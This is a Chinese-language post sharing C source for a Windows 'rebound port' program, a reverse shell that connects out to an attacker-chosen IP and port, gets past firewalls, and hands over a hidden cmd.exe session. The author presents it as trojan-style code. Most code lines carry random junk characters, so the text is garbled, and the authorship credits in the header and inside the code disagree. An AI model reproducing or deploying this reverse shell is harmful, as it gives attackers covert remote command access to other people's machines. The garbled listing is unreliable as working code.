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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 gg`{kN^r.a  
c \??kQH  
/* ============================== 'b.jKkW7  
Rebound port in Windows NT f$>_>E  
By wind,2006/7 XdJD"|,h  
===============================*/ c6F?#@?   
#include dLYM )-H`>  
#include K.yc[z)un  
n=-vOa%  
#pragma comment(lib,"wsock32.lib") >IS4  
Y)k"KRW+  
void OutputShell(); _AF$E"f@  
SOCKET sClient; p1'q{E+o*  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 2@MpWj4  
j(y<oxh  
void main(int argc,char **argv) Lz1KDXr`)+  
{ GgE g(AT  
WSADATA stWsaData; >aJmRA-C}  
int nRet; f1:>H.m`  
SOCKADDR_IN stSaiClient,stSaiServer; oL~1M=r  
K-]) RIM  
if(argc != 3) $@6q5Iz!&  
{ #Tc`W_-  
printf("Useage:\n\rRebound DestIP DestPort\n"); R>"pJbS;L  
return; oPs asa  
} N|mggz  
o%Q9]=%!  
WSAStartup(MAKEWORD(2,2),&stWsaData); 9%kO%j,3  
h*^JFZb  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z2V ->UK)  
Wg%]  
stSaiClient.sin_family = AF_INET; Bj{J&{  
stSaiClient.sin_port = htons(0); /mJb$5=1  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |m\7/&@<  
8cfsl lI  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) d0T 8Cwc b  
{ V #vkj  
printf("Bind Socket Failed!\n"); J,v024TM  
return; %ly&~&0  
} E<LH-_$  
BT(eU*m-  
stSaiServer.sin_family = AF_INET; Y|mtQ E?c  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \=RV?mI3?  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 0Bgj.?l  
sz%]rN6$  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) x%)oL:ue  
{ M%jR`qVFg.  
printf("Connect Error!"); }cUO+)!Y  
return;  uWMSn   
} >G1]#'6;  
OutputShell(); BV<_1 WT}  
} w?_'sP{pd  
on hLhrZ  
void OutputShell() 'ym Mu}q  
{ \*5z0A9)5)  
char szBuff[1024]; k{!9 f=^   
SECURITY_ATTRIBUTES stSecurityAttributes; .,VLQ btg  
OSVERSIONINFO stOsversionInfo; NHU5JSlB  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .5SYN -@  
STARTUPINFO stStartupInfo; B!x6N"  
char *szShell; v"Bm4+c&0  
PROCESS_INFORMATION stProcessInformation; OGH,K'l  
unsigned long lBytesRead; |pknaz  
Ta3* G  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); /V/ )A\g  
L09r|g4Z  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); wk?i\vm  
stSecurityAttributes.lpSecurityDescriptor = 0; Bvj  
stSecurityAttributes.bInheritHandle = TRUE; 5l,Lp'k  
1 "t9x.  
jc32s}/H  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _`*G71PS  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 25 U+L  
1uyd+*/(xP  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Z>/ *q2  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  `uDOIl  
stStartupInfo.wShowWindow = SW_HIDE; O<AGAD  
stStartupInfo.hStdInput = hReadPipe; 0}` -<(  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; =yRv *C  
S]}}r)  
GetVersionEx(&stOsversionInfo); Q"!GdKM  
',D%,N}J  
switch(stOsversionInfo.dwPlatformId) 0<<ATw$aQ  
{ qm9=Ga5  
case 1: Ag{)?5/d_  
szShell = "command.com"; J}bLp Z  
break; F *U.cJ%  
default: 44k8IYC*o  
szShell = "cmd.exe"; zt  
break; ))X"bFP!3  
} 3 l j^I  
N3)n**  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *6}'bdQbNP  
SpIiMu(  
send(sClient,szMsg,77,0); t,A=B(W  
while(1) dtG>iJ  
{ X_3hh}=  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [1Qg *   
if(lBytesRead) lQRtsmZ0  
{ cUw$F{|W  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); zlkW-rRkR  
send(sClient,szBuff,lBytesRead,0); &tiJ=;R1  
} p9MJa[}V  
else A^|~>9  
{ 6 !Mm")  
lBytesRead=recv(sClient,szBuff,1024,0); pz{ ]O_px  
if(lBytesRead<=0) break; *k?y+}E_f  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); xlsAct:  
} JPZH%#E(  
} SoFl]^l  
!@arPN$  
return; `O%O[  
}
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